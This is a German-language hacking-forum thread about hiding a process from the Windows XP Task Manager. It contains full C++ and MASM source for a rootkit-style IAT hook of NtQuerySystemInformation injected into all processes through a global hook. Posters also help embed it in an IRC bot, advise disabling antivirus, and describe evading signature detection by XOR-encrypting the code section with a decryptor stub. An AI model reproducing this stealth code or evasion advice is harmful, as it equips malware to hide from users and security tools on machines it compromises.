Prozess verstecken unter XP

öhm nein. also höchstens ich lieg hier ganz falsch, aber die uebergebene pid ist die PID des zu versteckenden prozesses. wenn also der eigene prozess vor dem taskman versteckt werden soll, ist man mit getcurrentprocessid schon ganz richtig dran. die funktion loopt ja durch alle prozesse und hookt alle per IAT hook. (siehe FuncIncept im source)

mfg
 
Code:
typedef BOOL (*HIDENTPROCESSFUNC)(DWORD);

im code:
HIDENTPROCESSFUNC HideNtProcess = (HIDENTPROCESSFUNC)GetProcAddress(LoadLibrary("HideNtProcess.dll"), "HideNtProcess");
id = GetCurrentProcessId();
HideNtProcess(id);

so sollte das dann aussehen oder?
 
Hello,
I translated the code of the first post into C++. I hope someone finds use for it!
Code:
void RedirectIAT( char * pszCallerModName, FARPROC pfnCurrent, FARPROC pfnNew, HMODULE hmodCaller )
{
	unsigned long ulSize = 0;
	PIMAGE_IMPORT_DESCRIPTOR pImportDesc = 0;
	char * pszModName = "";
	PDWORD pThunk = 0;
	FARPROC * ppfn = 0;
	bool fFound = false;
	DWORD written;
	
	pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)ImageDirectoryEntryToData( &hmodCaller, TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT, &ulSize );
	
	if( !pImportDesc )
		return;

	while( pImportDesc->Name )
	{
		pszModName = (char*)( hmodCaller + pImportDesc->Name );
		if( !lstrcmpiA( pszModName, pszCallerModName ) )
			break;
		pImportDesc++;
	}

	if( !pImportDesc->Name )
		return;

	pThunk = (DWORD*)( hmodCaller + pImportDesc->FirstThunk );

	while( pThunk )
	{
		ppfn = (FARPROC*)pThunk;
		if( *ppfn == pfnCurrent )
		{
			VirtualProtectEx( GetCurrentProcess, ppfn, 4, PAGE_EXECUTE_READWRITE, &written );
			WriteProcessMemory( GetCurrentProcess, ppfn, &pfnNew, sizeof( pfnNew ), &written );
		}
		pThunk++;
	}
}

PVOID addr_NtQuerySystemInformation = 0;

int WINAPI myNtQuerySystemInfo( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength )
{
	#define SystemProcessesAndThreadsInformation 5
	int Result = 0, mypid = GetCurrentProcessId();
	_asm
	{
		push ReturnLength
		push SystemInformationLength
		push SystemInformation
		push dword ptr SystemInformationClass
		call dword ptr [addr_NtQuerySystemInformation]
		or eax,eax
		jl exit
		
		mov ecx, SystemInformationClass
		cmp ecx, SystemProcessesAndThreadsInformation

		jne exit
lop:
		mov esi, SystemInformation
nextpid:
		mov ebx, esi
		cmp dword ptr [esi],0
		je exit
		add esi, [esi]
		mov ecx, [esi+44h]
		cmp ecx, mypid
		jne nextpid
		mov edx, [esi]
		test edx, edx
		je fillzero
		add [ebx], edx
		jmp lop
fillzero:
		 and [ebx], edx
		jmp lop
exit:
		mov Result, eax
	}
	return Result;
}

void FuncIntercept()
{
	HANDLE hSnapShot;
	MODULEENTRY32 me32;
	addr_NtQuerySystemInformation = GetProcAddress( GetModuleHandleA("ntdll.dll"),"NtQuerySystemInformation");
	hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPMODULE, GetCurrentProcessId() );
	if( hSnapShot == INVALID_HANDLE_VALUE )
		return;

	ZeroMemory(&me32,sizeof(MODULEENTRY32));
	me32.dwSize =sizeof(MODULEENTRY32);
	Module32First(hSnapShot,&me32);
	do
	{
		RedirectIAT("ntdll.dll",(FARPROC)addr_NtQuerySystemInformation,(FARPROC)&myNtQuerySystemInfo,me32.hModule);
	}
	while( Module32Next(hSnapShot,&me32) );
	CloseHandle(hSnapShot);
}

void FreeFunc()
{
	HANDLE hSnapShot;
	MODULEENTRY32 me32;
	addr_NtQuerySystemInformation = GetProcAddress( GetModuleHandleA("ntdll.dll"),"NtQuerySystemInformation");
	hSnapShot = CreateToolhelp32Snapshot( TH32CS_SNAPMODULE, GetCurrentProcessId() );
	if( hSnapShot == INVALID_HANDLE_VALUE )
		return;

	ZeroMemory(&me32,sizeof(MODULEENTRY32));
	me32.dwSize =sizeof(MODULEENTRY32);
	Module32First(hSnapShot,&me32);
	do
	{
		RedirectIAT("ntdll.dll",(FARPROC)&myNtQuerySystemInfo,(FARPROC)addr_NtQuerySystemInformation,me32.hModule);
	}
	while( Module32Next(hSnapShot,&me32) );
	CloseHandle(hSnapShot);
}

HANDLE HookHandle;

int WINAPI CbtProc( int code, int wparam, int lparam )
{
	return 0;
}

void WINAPI AttachHook()
{
	HookHandle = SetWindowsHookExA( WH_CBT, (HOOKPROC)&CbtProc, 0, 0);
}

HANDLE hFirstMapHandle = 0;

bool WINAPI HideNtProcess( DWORD pid )
{
	hFirstMapHandle = CreateFileMappingA( (HANDLE)0xFFFFFFFF,0,PAGE_READWRITE,0,8,"NtHideFileMappingX");

	if( !hFirstMapHandle )
		return false;

	PDWORD addrMap = (PDWORD)MapViewOfFile( hFirstMapHandle, FILE_MAP_WRITE, 0, 0, 8 );

	if( !addrMap )
	{
		CloseHandle( hFirstMapHandle );
		return false;
	}

	*addrMap = pid;
	bool * ptr2 = (bool*)((DWORD)addrMap+4);
	*ptr2 = false;

	UnmapViewOfFile(addrMap);
	AttachHook();

	return true;
}

bool InitHiding()
{
	HANDLE hmap = OpenFileMapping( FILE_MAP_READ, false, "NtHideFileMappingX" );
	
	if( !hmap )
		return false;

	PDWORD mapaddr = (PDWORD)MapViewOfFile( hmap, FILE_MAP_READ, 0, 0, 0 );

	if( !mapaddr )
		return false;

	DWORD mypid = *mapaddr;

	FuncIntercept();

	UnmapViewOfFile( mapaddr );
	CloseHandle( hmap );

	return true;
}

I didn't test it. Please don't post compile errors or ask how to fix them.

Have fun!
 
Hui,

bei mir rennt's nicht :(

Kann mir jemand sagen, was ich falsch mache?

Code:
#include <stdio.h>
#include <process.h>

typedef BOOL (*HIDENTPROCESSFUNC)(DWORD);
HIDENTPROCESSFUNC HideNtProcess = (HIDENTPROCESSFUNC)GetProcAddress(LoadLibrary("HideNtProcess.dll"), "HideNtProcess");


int main() {
    HideNtProcess(getpid());
}

Ich krieg immer einen Segfault zu Gesicht, selbst wenn ich bei HideNtProcess() eine fertige PID eingebe...
 
Man sollte schon die Rückgaben prüfen ;)
Ich wette, die Rückgabe von GetProcAddress ist im Moment ==0, denn die DLL heißt nicht ""HideNtProcess.dll"
 
Original von CDW
Man sollte schon die Rückgaben prüfen ;)
Ich wette, die Rückgabe von GetProcAddress ist im Moment ==0, denn die DLL heißt nicht ""HideNtProcess.dll"

Huch, sorry , ist mir gerade auch aufgefallen, danke !!!

Aber eine Frage noch:

Ich habe das ganze in meinen IRC Bot (C++) eingebaut ( der nicht böswillig ist ;) ). Jetzt funktionieren allerdings die Kommandos nicht mehr.

Wisst ihr eventuell, woran das liegen könnte?
Falls ihr den Source braucht, den gibts per PN.
 
Hi,

Ich kann zwar nicht sagen woran das mit den Kommandos liegt, aber Programme die im Hintergrund laufen, würde Ich prinzipiell als Dienst schreiben...

Gruß Chris
 
Hatte den Source jetzt schon an Valley geschickt, der mir aber scheinbar nicht helfen will
sondern nur einen kr4ssen IRC b0t brauchte... :rolleyes:

BlackSun: Danke, werd's mal ausprobieren
 
erstmal hallo an alles hier
ich habe vor kurtzem ein neus project gestartet leuft auch alles wunderbar nun wolte ich ein programm mehrmals laufen lassen lief auch bis zu der stelle wo mir ein weiteres programm sagt das der prozess schon exestiert..ich habe schon alles möglige versucht es will mir einfach nicht gelingen ich habe auch schon die beispiele hier ausprobiert ich bekomm nur fehler -.- in der sprache womit ich vertraut bin kann man zwar dlls einbinden nur das problem is das diese die nicht lesen kann und mein antivirus die datei immerwieder löscht =/ wär nett wenn mir einer ein komplettes programm in c++ schreiben könnte wo ich nur die PID in dem source ändern muss bzw vorher eine eingabe (doslike) machen muss ...ich weiß google is mein freund abber das problem is ich finde zwar was abber da is immer nur die hälfte dabei fehlen immerwieder irgentwelche zeilen usw und da ich erst vor ein par tagen mit c++ angefangen habe bin ich halt kein pro in dem gebiet somit ist es für mich auch recht schwer aus 50000... seiten den source zusammen zu puzzeln
 
hi,
1. Welche Programmiersprache?

2. Das Problem dürfte wie von dir angedeutet allerdings der Antivirus sein. Der sieht in der hide dll ein "Hacker Tool" (da irgend so 'n Spasti mit der dll böse Dinge angestellt hat -.-) Also den Antivirus mal kurzfristig abstellen.

Die PID selbst zu ermitteln sollte nicht das Problem sein, aber wie gesagt, nenne uns doch erstmal die Sprache...

so far
IsNull
 
Original von torsten
ein stückchen weiter, und ihr hättet einen halben rootkit.
Ist es jetzt schon. Na und?

btw: die dll wird (jedenfalls im originalzustand :D) schon seit längerer zeit von den Antivirentools als "Hackertool..." erkannt. Das ganze ist Securitytechnisch also nicht mehr sehr brisant.

ps: Den Sinn deines Postings sehe ich aber immer noch nicht :/
 
Das habe ich auch bemerkt. Die einfache Lösung ist, die Codesection zu XORen und eine Section anzuhängen, die das wieder entXORed und den Entrypoint darauf zeigen zu lassen.
Dann kommt zwar manchmal HEUR/Crypted, aber das kann man mit ein bisschen Trickserei auch ausbügeln. Soviel zur Signaturenerkennung. Schwieriger wird es die modernen HIPS damit zu überlisten. Da muss man schon einige Schritte weitergehen.
 
@ IsNull
wollte ja bloss mal nachfragen, ob das andere auch so sehen.
zwei zeilen code geändert und jedes antivirenprogramm-wenn überhaupt- ist machtlos.

@ATHO
geiles script. würde das so nicht hinbekommen
 
Hi.

Ich habe mich gestern mal daran gemacht, einen Code in Assembler (MASM Syntax) zu schreiben, der quasi genau das macht. Jetzt hatte ich Probleme bei dem Part des Modifizierens der Struktur, die die PID's beinhaltet.

Hierzu habe ich etwas gegoogelt und bin auf diesen Thread gestoßen. Das ist mein Assembler-Code (die Funtkion, die NtQuerySystemInformation ersetzt):

Code:
HookedNtQuery proc SystemInformationClass	:DWORD,
					SystemInformation 		:DWORD,
					SystemInformationLength :DWORD,
					ReturnLength 			:DWORD
	call	pidx
	myPID	dd 0
pidx:
	
	push 	ReturnLength
	push 	SystemInformationLength
	push 	SystemInformation
	push 	dword ptr ds:[ SystemInformationClass]
	
	db		0B8h ; mov eax,
	apiaddr	dd 0DEADBEEFh
	call	eax
	
	or 		eax,eax
	jl 		exit
	
	pop		edi
	pushad
	
	cmp 	SystemInformationClass, 5 ;SystemProcessesAndThreadsInformation
	jne 	exit
	
lop:
	mov 	esi, SystemInformation
nextpid:
	mov 	ebx, esi
	cmp 	dword ptr [esi],0
	je 		exit
	add 	esi, [esi]
	mov 	ecx, [esi+44h]
	cmp 	ecx, dword ptr ds:[edi]
	jne 	nextpid
	mov 	edx, [esi]
	test 	edx, edx
	je		fillzero
	add 	[ebx], edx
	jmp 	lop
fillzero:
	and 	[ebx], edx
	jmp 	lop
exit:
	popad
	ret
HookedNtQuery endp

Dieser Code ist POC, also Code der quasi überall ausgeführt werden kann. Im Code vorher ersetze ich die Variable apiaddr zu der Addresse von NtQuerySystemInformation. Diese Addresse stimmt auch.

Jetzt ist mein Problem: Wenn ich den Taskmanager ausführe (in OllyDBG), meinen Patcher starte wird auch die Addresse in der Import Access Table erfolgreich ersetzt und zeigt auf den Code den ich oben gepastet habe. Ich setze einen Breakpoint auf die Funktion und lasse den Taskmgr laufen, wird auch aufgerufen, allerdings kommt es nie zu dem Fall dass SystemInformationClass = 5 oder auch SystemProcessesAndThreadsInformation ist. Vorher kommt ein Fehler, nämlich eine Access Violation, seltsamerweise versucht der Prozess, zu der Addresse 4ED (o.ä.) zu springen (die natürlich nicht existiert). Allerdings tritt dieses Problem seltsamerweise erst nach dem ~5. Funktionsaufruf auf.

Hat einer eine Idee, woran das liegen könnte?

Danke!

@skydiablo:
Du musst die Addresse von NtQuerySystemInformation (die nach dem Hooken zu deiner Funktion zeigt) wieder auf die "original-API" zeigen lassen. Das kannst du mit WriteProcessMemory bewerkstelligen.
 
hallo

ich habe ein problem die dll einzubinden.. (c++,dotnet2)

typedef BOOL (*HIDENTPROCESSFUNC)(DWORD);

im code:
HIDENTPROCESSFUNC HideNtProcess = (HIDENTPROCESSFUNC)GetProcAddress(LoadLibrary("HideNtProcess.dll"), "HideNtProcess");
HideNtProcess(GetCurrentProcessId());

hab die dll unbenannt..
naja auf jedenfall kommt immer folgende Meldung:

error C2664: 'LoadLibaryW': Konvertierung des Parameters 1 von 'const char[18] in 'LPCWSTR' nicht möglich
in zeile:
HIDENTPROCESSFUNC HideNtProcess = (HIDENTPROCESSFUNC)GetProcAddress(LoadLibrary("HideNtProcess.dll"), "HideNtProcess");

kann mir jemand helfen?
die fehler meldung habe ich vertsanden weiß nur net wie ich das problem lösen kann, wahrscheinlich ist es wieder irgendeine kleinigkeit die mir mal wieder nicht einfällt :(


schonma danke, greeetz
 
Soweit ich das richtig sehe, erwartet LoadLibrary(); einen Zeiger auf den String.
Probier mal folgendes:

Code:
TCHAR LibraryName[] = TEXT("HideNtProcess.dll");
HIDENTPROCESSFUNC HideNtProcess = (HIDENTPROCESSFUNC)GetProcAddress(LoadLibrary(&LibraryName), "HideNtProcess");
Gruß Chris
 
Zurück
Oben